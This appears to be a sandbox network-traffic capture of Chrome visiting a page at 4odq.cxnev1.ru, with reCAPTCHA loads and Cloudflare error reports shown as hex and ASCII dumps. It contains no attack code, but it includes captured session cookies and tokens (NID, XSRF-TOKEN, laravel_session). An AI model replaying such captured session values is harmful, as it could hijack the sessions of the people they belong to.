2024-04-26 08:00:13 UTC	529	OUT	OPTIONS /report/v4?s=XOZlar%2BpQRIngaroumuGkIyKrljUfrvKOn0IXeS3uhEQhv0e1iZJ2M2vwY8AvP0vuarX6dJDDQoIZgJAuIVvyfvD3NGLHiHDX5ADl7THuCHHIcKjFPK3LlxD9UBm3w%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://4odq.cxnev1.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:14 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 26 Apr 2024 08:00:13 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50028	142.250.217.228	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:13 UTC	1151	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=63zqkenm1gfs HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:14 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Apr 2024 08:00:14 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-xGjOK0BSZGAnf4_92VrbNg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 08:00:14 UTC	364	IN	Data Raw: 32 61 63 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2aca<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-04-26 08:00:14 UTC	1255	IN	Data Raw: 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 Data Ascii: 18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//font
2024-04-26 08:00:14 UTC	1255	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-04-26 08:00:14 UTC	1255	IN	Data Raw: 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 Data Ascii: +04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-26 08:00:14 UTC	1255	IN	Data Raw: 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 Data Ascii: e { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0
2024-04-26 08:00:14 UTC	1255	IN	Data Raw: 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: ic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2024-04-26 08:00:14 UTC	1255	IN	Data Raw: 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 78 47 6a 4f 4b 30 42 53 5a 47 41 6e 66 34 5f 39 32 56 72 62 4e 67 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d Data Ascii: </style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/styles__ltr.css"><script nonce="xGjOK0BSZGAnf4_92VrbNg" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.com
2024-04-26 08:00:14 UTC	1255	IN	Data Raw: 48 7a 4a 44 4d 6f 74 4c 30 76 6e 74 4f 67 31 75 56 57 74 36 6d 66 5a 4f 47 56 4a 48 74 42 45 51 53 68 56 33 78 55 48 4f 59 50 7a 38 59 62 33 41 5f 65 7a 68 54 31 48 51 74 52 70 57 47 41 55 49 65 6d 4f 56 63 67 66 67 7a 79 30 62 34 70 6c 36 59 44 36 38 79 58 53 71 43 45 71 6d 4a 45 45 72 6b 39 6a 56 56 70 39 77 63 5f 72 5a 31 70 47 6e 6d 75 5a 64 68 58 7a 6a 38 79 75 65 5a 43 42 6e 6e 76 42 44 6e 5f 75 4f 58 6c 41 52 4b 31 68 45 5f 52 33 47 42 42 49 50 69 66 69 62 7a 76 42 65 49 57 44 5f 75 65 4b 6f 6f 67 70 4f 4e 56 79 33 52 6f 71 77 34 41 48 5a 32 54 4b 41 54 51 4a 54 74 55 76 2d 48 7a 4b 32 45 31 66 61 54 61 4a 4b 36 6e 42 34 65 69 69 7a 34 33 50 6a 4d 34 63 47 37 51 58 69 69 45 44 67 6a 68 36 6f 30 62 49 79 67 61 2d 36 4c 6b 5a 36 47 48 4a 35 50 70 56 Data Ascii: HzJDMotL0vntOg1uVWt6mfZOGVJHtBEQShV3xUHOYPz8Yb3A_ezhT1HQtRpWGAUIemOVcgfgzy0b4pl6YD68yXSqCEqmJEErk9jVVp9wc_rZ1pGnmuZdhXzj8yueZCBnnvBDn_uOXlARK1hE_R3GBBIPifibzvBeIWD_ueKoogpONVy3Roqw4AHZ2TKATQJTtUv-HzK2E1faTaJK6nB4eiiz43PjM4cG7QXiiEDgjh6o0bIyga-6LkZ6GHJ5PpV
2024-04-26 08:00:14 UTC	1255	IN	Data Raw: 51 68 78 71 4e 46 55 51 7a 39 74 4a 32 37 5a 65 72 66 36 4a 6f 77 37 6d 4b 65 4c 46 79 30 78 4e 4e 4b 69 50 51 54 35 47 57 63 5a 59 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 78 47 6a 4f 4b 30 42 53 5a 47 41 6e 66 34 5f 39 32 56 72 62 4e 67 22 3e 0a 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 61 6e 63 68 6f 72 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 61 69 6e 70 75 74 5c 78 32 32 2c 5b 5c 78 32 32 62 67 64 61 74 61 5c 78 32 32 2c 5c 78 32 32 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 39 73 61 31 52 59 63 54 51 35 57 55 63 31 58 32 56 71 4d 58 63 33 62 54 52 55 4f 55 35 33 58 7a 46 4d 65 44 46 50 59 32 51 78 5a 33 52 Data Ascii: QhxqNFUQz9tJ27Zerf6Jow7mKeLFy0xNNKiPQT5GWcZY"><script type="text/javascript" nonce="xGjOK0BSZGAnf4_92VrbNg"> recaptcha.anchor.Main.init("[\x22ainput\x22,[\x22bgdata\x22,\x22Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy9sa1RYcTQ5WUc1X2VqMXc3bTRUOU53XzFMeDFPY2QxZ3R
2024-04-26 08:00:14 UTC	558	IN	Data Raw: 69 74 42 64 6d 46 4d 64 6a 6b 76 4e 58 52 4c 52 46 6b 30 5a 58 46 36 62 48 55 7a 59 56 56 30 61 57 63 31 5a 55 49 30 62 6b 74 73 56 32 55 35 65 6d 55 30 56 30 4a 43 61 79 74 6f 53 47 34 35 4d 33 64 6c 52 6d 74 33 59 6e 56 4a 4e 57 46 76 62 45 5a 77 52 45 31 79 56 6e 4a 6e 59 7a 42 70 4f 55 64 59 54 58 4e 34 52 45 4a 31 54 6c 45 79 55 32 55 7a 55 57 77 79 52 6c 45 77 56 45 78 35 62 56 4a 44 65 6c 6f 30 57 46 52 35 63 54 59 7a 4d 30 52 53 53 30 5a 35 4d 6b 70 35 5a 31 4e 4c 57 44 6c 4c 65 46 4a 56 4f 56 4a 6f 53 48 42 57 4d 79 74 53 51 58 56 35 4d 57 35 57 55 56 4a 7a 52 6a 64 5a 56 30 59 30 56 7a 46 52 4f 54 42 75 65 47 6b 76 63 44 6c 52 56 45 6c 70 5a 55 4e 4b 65 44 5a 43 61 48 5a 6c 59 55 4e 30 52 6a 6b 31 62 6b 35 46 62 56 70 30 4e 45 56 6b 57 57 56 30 Data Ascii: itBdmFMdjkvNXRLRFk0ZXF6bHUzYVV0aWc1ZUI0bktsV2U5emU0V0JCaytoSG45M3dlRmt3YnVJNWFvbEZwRE1yVnJnYzBpOUdYTXN4REJ1TlEyU2UzUWwyRlEwVEx5bVJDelo0WFR5cTYzM0RSS0Z5Mkp5Z1NLWDlLeFJVOVJoSHBWMytSQXV5MW5WUVJzRjdZV0Y0VzFROTBueGkvcDlRVElpZUNKeDZCaHZlYUN0Rjk1bk5FbVp0NEVkWWV0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50032	35.190.80.1	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:14 UTC	472	OUT	POST /report/v4?s=XOZlar%2BpQRIngaroumuGkIyKrljUfrvKOn0IXeS3uhEQhv0e1iZJ2M2vwY8AvP0vuarX6dJDDQoIZgJAuIVvyfvD3NGLHiHDX5ADl7THuCHHIcKjFPK3LlxD9UBm3w%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 432 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:14 UTC	432	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 30 37 36 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 37 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 34 6f 64 71 2e 63 78 6e 65 76 31 2e 72 75 2f 31 4c 39 7a 39 76 33 39 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 37 33 2e 31 33 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 Data Ascii: [{"age":20763,"body":{"elapsed_time":475,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://4odq.cxnev1.ru/1L9z9v39/","sampling_fraction":1.0,"server_ip":"172.67.173.130","status_code":404,"type":"http.error"},"type":"network-e
2024-04-26 08:00:14 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 26 Apr 2024 08:00:14 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50033	142.250.217.228	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:14 UTC	1033	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=63zqkenm1gfs Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:15 UTC	655	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Expires: Fri, 26 Apr 2024 08:00:15 GMT Date: Fri, 26 Apr 2024 08:00:15 GMT Cache-Control: private, max-age=300 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 08:00:15 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js');
2024-04-26 08:00:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50015	172.67.173.130	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:18 UTC	1369	OUT	GET /1L9z9v39/ HTTP/1.1 Host: 4odq.cxnev1.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ikw5MkRiK0x2ZDg1UW1ha2xmb1BSRUE9PSIsInZhbHVlIjoiTmE2Q0ZBVTBvbTJHUEJCMVduNWx4UG1CZmg4Um5GeXNlWHIrRGNDcmZvNGZwRll0V0d1N1A3RDBUUFhzQ3J4SW9neGRGdTNnSWtFUThRdWFFVWxSa05HNDI4QVQwaE84YnJEVSs5NW9wU1Y0TzBrSGFjNGRtMk5XclJnOU1GTVAiLCJtYWMiOiJiYjdhYWE5ZDJiMTljNzJkYWI3NzdhZTQxODRmYWJhYjZlN2M5M2VmZDk1NzRmYzkyYmYwYmVmNWZkMDg4ZjZkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imp3Ky9MalFsZlpzdUErL29pczA5SFE9PSIsInZhbHVlIjoiRXlodTFXUW91UU1JdlVvek9uRDY2RGZMN21KWTBVVE5jYmx5MDhQTGJ5eVRHYkRuNVpIQmRqM0dFZlhrNnJBSmk5T3pldElpNUYxb0dPM1E1c3dPSEtjN0c0OWQ1VnVSV0ZKanBnUXh1Nlc1RnJVSUREOWROUnNjVStnQkRHVk8iLCJtYWMiOiJmM2M5YjE5YzIyYjZkODZmMjZlYzQyZDJmNDk3MWRjN2NlOTExMGVkOTcxZDcyNDk1YTljNDQ1MmE2MmM1MWQ1IiwidGFnIjoiIn0%3D
2024-04-26 08:00:18 UTC	1003	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 08:00:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6JgIIhTxpzrVrKnT4PFowyqr9aAaxZppjkTrRH%2FCgmcUV9Mdq9CvpVasX3xeJpxzIVxSDjIMyQYVuvR3ISPJ%2FuS42tyHJlgZDIkFbm3Ag86xqE4NQfr4VrPE6j9nMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6Ijc4cGsyUmZvZkJyQnFkZWVhK3VnYWc9PSIsInZhbHVlIjoiZHZwREZtN2lqcTZ2WUFHdkx3MDBiUUxGb2RiV2k5MVV2VENCVDZmWkZWa1lhQTY3dWRKQWNZNXpNdVVhTWhkd2srUjQwZjVYQU9TSko2WllCREFpY29COVFvRUFmOUNZSU5DRS9nL01Id1dVU0VEaXRRNGMvU0hVdHg0QnhzS2oiLCJtYWMiOiJmODdkNmIzZmExMWQ1MzBiYWYxYTNmNGMxYzVjZGZhMjgwMzM0ZGM4MDdiZTgyNDY5OWY1YzM2NThlZWM0NjJlIiwidGFnIjoiIn0%3D; expires=Fri, 26-Apr-2024 10:00:18 GMT; Max-Age=7200; path=/; secure; samesite=none
